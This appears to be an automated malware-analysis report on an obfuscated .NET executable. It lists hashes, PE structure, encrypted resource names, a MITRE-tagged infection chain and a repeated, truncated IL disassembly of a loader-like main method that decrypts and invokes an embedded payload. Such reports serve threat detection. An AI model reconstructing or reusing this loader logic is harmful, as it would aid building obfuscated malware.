Suspicious
Suspect

762de81f8001890144b7c986771bf75a

PE Executable
MD5: 762de81f8001890144b7c986771bf75a
Size: 1.14 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 762de81f8001890144b7c986771bf75a
Sha1 fb44903088b82b74c7770fceb3f38b6897b5991e
Sha256 2e4bcbb4bb8957c5d3986cd90e8affa7c28fc51aafbc59cf456259368a2b778d
Sha384 cf5d9574a2032cea439350adda2dc5009bcb757c9bf2439b49aa60759f285f35fa490edf745293faea13dad5e181e3f3
Sha512 748f84473eee10f15fb054b90f51275308160b1a1fb4d793aeb1373b76f7d17e01f06580fba4321ce09aa90752996bffc441d1cbb1f213a5783f7e5f5efe5615
SSDeep 12288:N8c07/PjHJLwdskpbbJ5T2cygYL0gSjzJeYT93wFHAfJ5ZeGRpQ6s7Ewhz4RH6A:qNjPVLopBtYLnyT9AFgfJKiKrzy/
TLSH 8935023A1D836B54C73D0A7CC16614A823F0DA564266E73A2FFC01F89FA3B8D5B17466
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
762de81f8001890144b7c986771bf75a
.Net Resources
yx7LDim28z.Resources.resources
yx7LDim28z.g.resources
73a79da66bca50.Resources.resources
a7ff0f670
[NBF]root.Data
a7ff0f671
[NBF]root.Data
a7ff0f6710
[NBF]root.Data
a7ff0f6711
[NBF]root.Data
a7ff0f6712
[NBF]root.Data
a7ff0f6713
[NBF]root.Data
a7ff0f6714
[NBF]root.Data
a7ff0f6715
[NBF]root.Data
a7ff0f6716
[NBF]root.Data
a7ff0f6717
[NBF]root.Data
a7ff0f6718
[NBF]root.Data
a7ff0f6719
[NBF]root.Data
a7ff0f672
[NBF]root.Data
a7ff0f6720
[NBF]root.Data
a7ff0f6721
[NBF]root.Data
a7ff0f6722
[NBF]root.Data
a7ff0f673
[NBF]root.Data
a7ff0f674
[NBF]root.Data
a7ff0f675
[NBF]root.Data
a7ff0f676
[NBF]root.Data
a7ff0f677
[NBF]root.Data
a7ff0f678
[NBF]root.Data
a7ff0f679
[NBF]root.Data
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
Path pe:exe~T1059.007>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
technique3 nodes
Path pe:exe~T1059.007>bin
Shape pe:exe>bin
technique2 nodes
Name Value
Module Name
yx7LDim28z
Full Name
yx7LDim28z
EntryPoint
System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
Scope Name
yx7LDim28z
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
yx7LDim28z
Assembly Version
8.5.28.141
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
Main IL Instruction Count
525
Main IL 
nop <null>
br.s IL_0003: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_009F: nop
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_13
ldc.i4.s 31
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.0 <null>
stloc.s V_14
ldc.i4.s 20
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.1 <null>
ldloc.s V_14
ldloc.s V_14
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_14
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_14
ldc.i4.s 20
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_14
ldloc.s V_13
ble.s IL_0100: ldc.i4.s 32
ldc.i4.s 30
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 32
br.s IL_00F9: stloc.s V_31
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
nop <null>
ldc.i4 62397681
ldc.i4.4 <null>
ldc.i8 15
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
nop <null>
ldc.i4 1532721655
ldc.i4.4 <null>
ldc.i4.s 14
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.r8 25
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2/de3Br4EbPt9n7.i_4Ld3Xp9::6ndXybN2As0r(System.Int32)
castclass System.Object[]
stloc.s V_4
nop <null>
ldc.i4.s 27
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4 62397667
ldc.i4.4 <null>
ldc.i8 14
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldc.i4.6 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_5
call System.Byte[] 2CpoFz.bn2DA0ed4iQdpR::Yx8y4q(System.String)
stelem.ref <null>
ldc.i4.s 100
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_7
ldc.i4.s 12
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldc.i4.5 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldc.i4.4 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
ldc.i4.s 11
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
ldc.i4.s 13
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_7
ldloc.s V_16
ldloc.s V_18
ldloc.s V_16
ldloc.s V_18
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_8
ldloc.s V_16
ldloc.s V_18
ldloc.s V_16
ldloc.s V_18
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldc.i4.s 25
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldc.i4.s 13
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_18
ldloc.s V_17
ble.s IL_026A: ldc.i4.s 15
ldc.i4.s 28
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 15
br.s IL_0263: stloc.s V_31
ldloc.s V_16
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_16
ldc.i4.s 11
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_16
ldloc.s V_15
ble.s IL_028C: ldc.i4.3
ldc.i4.s 19
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.3 <null>
br.s IL_0285: stloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
ldc.i4.2 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
ldc.i4.s 22
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_9
ldloc.s V_20
ldloc.s V_22
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
ldc.i4.s 17
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_9
ldloc.s V_20
ldloc.s V_22
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_25
ldloc.s V_25
ldind.i4 <null>
ldloc.s V_7
ldloc.s V_20
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_8
ldloc.s V_24
ldloc.s V_22
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldc.i4.s 10
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldc.i4.s 17
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_24
ldloc.s V_23
ble.s IL_0321: ldc.i4.s 35
ldc.i4.s 33
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 35
br.s IL_031A: stloc.s V_31
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldc.i4.s 22
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_22
ldloc.s V_21
ble.s IL_0343: ldc.i4.s 24
ldc.i4.s 14
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 24
br.s IL_033C: stloc.s V_31
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldc.i4.2 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_20
ldloc.s V_19
ble.s IL_0364: ldc.i4.s 9
ldc.i4.s 23
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 9
br.s IL_035D: stloc.s V_31
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2::2oxFgZz0D(System.Byte[])
stelem.ref <null>
ldloc.s V_9
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_10
ldc.i4.s 26
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_10
ldc.r8 0.95
clt <null>
stloc.s V_11
ldc.r8 0
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_26
ldc.i4.8 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_12
ldc.r8 -1
ldloc.s V_26
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_26
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_12
ldc.i4.s 34
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldc.i4 1000000
ble.s IL_0402: ldc.i4.8
ldc.i4.s 18
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.8 <null>
br.s IL_03FB: stloc.s V_31
ldloc.s V_12
ldc.r8 4
mul <null>
stloc.s V_12
br.s IL_0415: br.s IL_0417
br.s IL_0417: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_043B: nop
nop <null>
nop <null>
ldc.i4 1532721656
ldc.i4.7 <null>
ldc.i4.2 <null>
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_27
ldloc.s V_27
brfalse IL_0551: nop
ldc.i4.4 <null>
stloc.s V_33
br.s IL_041A: ldloc.s V_33
nop <null>
nop <null>
ldc.i4 62397656
ldc.i4.6 <null>
ldc.i8 0
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_28
br.s IL_047B: br.s IL_047D
br.s IL_047D: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_04A1: ldloc.s V_28
ldloc.s V_28
nop <null>
ldc.i4 1532721663
ldc.i4.0 <null>
ldc.i4.4 <null>
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_28
nop <null>
ldc.i4 1532721614
ldc.i4.1 <null>
ldc.i4.s 9
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
ldloc.s V_12
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
ldc.i4.0 <null>
stloc.s V_35
br.s IL_0480: ldloc.s V_35
nop <null>
leave.s IL_0525: br.s IL_0527
br.s IL_04E2: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_050A: nop
nop <null>
ldloc.s V_28
brfalse.s IL_0514: ldc.i4.5
ldc.i4.2 <null>
stloc.s V_37
br.s IL_04E5: ldloc.s V_37
ldc.i4.5 <null>
br.s IL_0510: stloc.s V_37
ldloc.s V_28
callvirt System.Void System.IDisposable::Dispose()
nop <null>
ldc.i4.5 <null>
stloc.s V_37
br.s IL_04E5: ldloc.s V_37
endfinally <null>
br.s IL_0527: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_39
ldloc.s V_39
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_054B: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_39
br.s IL_052A: ldloc.s V_39
nop <null>
leave.s IL_0565: br.s IL_0567
br.s IL_0556: br.s IL_0558
br.s IL_0558: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0565: br.s IL_0567
br.s IL_0567: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_41
ldloc.s V_41
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0587: nop
nop <null>
nop <null>
ldc.i4 1532721454
ldc.i4.1 <null>
ldc.i4.s 14
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2::2oxFgZz0D(System.Byte[])
call System.Object 9mdNT1.Lsp3we::cYp9m6DyZ(System.String,System.Object)
pop <null>
leave.s IL_05D1: br.s IL_05D3
br.s IL_05AE: br.s IL_05B0
br.s IL_05B0: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_29
nop <null>
ldloc.s V_29
callvirt System.String System.Exception::ToString()
ldc.i4.0 <null>
ldnull <null>
call Microsoft.VisualBasic.MsgBoxResult Microsoft.VisualBasic.Interaction::MsgBox(System.Object,Microsoft.VisualBasic.MsgBoxStyle,System.Object)
pop <null>
br.s IL_05CA: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05D1: br.s IL_05D3
br.s IL_05D3: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_43
ldloc.s V_43
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_05F3: nop
nop <null>
ret <null>
ldtoken System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
pop <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
Module Name
yx7LDim28z
Full Name
yx7LDim28z
EntryPoint
System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
Scope Name
yx7LDim28z
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
yx7LDim28z
Assembly Version
8.5.28.141
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
Main IL Instruction Count
525
Main IL 
nop <null>
br.s IL_0003: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_009F: nop
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_13
ldc.i4.s 31
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.0 <null>
stloc.s V_14
ldc.i4.s 20
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.1 <null>
ldloc.s V_14
ldloc.s V_14
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_14
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_14
ldc.i4.s 20
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_14
ldloc.s V_13
ble.s IL_0100: ldc.i4.s 32
ldc.i4.s 30
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 32
br.s IL_00F9: stloc.s V_31
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
nop <null>
ldc.i4 62397681
ldc.i4.4 <null>
ldc.i8 15
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
nop <null>
ldc.i4 1532721655
ldc.i4.4 <null>
ldc.i4.s 14
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.r8 25
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2/de3Br4EbPt9n7.i_4Ld3Xp9::6ndXybN2As0r(System.Int32)
castclass System.Object[]
stloc.s V_4
nop <null>
ldc.i4.s 27
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4 62397667
ldc.i4.4 <null>
ldc.i8 14
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldc.i4.6 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_5
call System.Byte[] 2CpoFz.bn2DA0ed4iQdpR::Yx8y4q(System.String)
stelem.ref <null>
ldc.i4.s 100
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_7
ldc.i4.s 12
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldc.i4.5 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldc.i4.4 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
ldc.i4.s 11
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
ldc.i4.s 13
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_7
ldloc.s V_16
ldloc.s V_18
ldloc.s V_16
ldloc.s V_18
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_8
ldloc.s V_16
ldloc.s V_18
ldloc.s V_16
ldloc.s V_18
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldc.i4.s 25
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldc.i4.s 13
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_18
ldloc.s V_17
ble.s IL_026A: ldc.i4.s 15
ldc.i4.s 28
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 15
br.s IL_0263: stloc.s V_31
ldloc.s V_16
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_16
ldc.i4.s 11
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_16
ldloc.s V_15
ble.s IL_028C: ldc.i4.3
ldc.i4.s 19
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.3 <null>
br.s IL_0285: stloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
ldc.i4.2 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
ldc.i4.s 22
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_9
ldloc.s V_20
ldloc.s V_22
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
ldc.i4.s 17
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_9
ldloc.s V_20
ldloc.s V_22
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_25
ldloc.s V_25
ldind.i4 <null>
ldloc.s V_7
ldloc.s V_20
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_8
ldloc.s V_24
ldloc.s V_22
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldc.i4.s 10
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldc.i4.s 17
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_24
ldloc.s V_23
ble.s IL_0321: ldc.i4.s 35
ldc.i4.s 33
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 35
br.s IL_031A: stloc.s V_31
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldc.i4.s 22
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_22
ldloc.s V_21
ble.s IL_0343: ldc.i4.s 24
ldc.i4.s 14
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 24
br.s IL_033C: stloc.s V_31
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldc.i4.2 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_20
ldloc.s V_19
ble.s IL_0364: ldc.i4.s 9
ldc.i4.s 23
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.s 9
br.s IL_035D: stloc.s V_31
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2::2oxFgZz0D(System.Byte[])
stelem.ref <null>
ldloc.s V_9
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_10
ldc.i4.s 26
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_10
ldc.r8 0.95
clt <null>
stloc.s V_11
ldc.r8 0
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_26
ldc.i4.8 <null>
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_12
ldc.r8 -1
ldloc.s V_26
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_26
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_12
ldc.i4.s 34
stloc.s V_31
br IL_0006: ldloc.s V_31
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldc.i4 1000000
ble.s IL_0402: ldc.i4.8
ldc.i4.s 18
stloc.s V_31
br IL_0006: ldloc.s V_31
ldc.i4.8 <null>
br.s IL_03FB: stloc.s V_31
ldloc.s V_12
ldc.r8 4
mul <null>
stloc.s V_12
br.s IL_0415: br.s IL_0417
br.s IL_0417: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_043B: nop
nop <null>
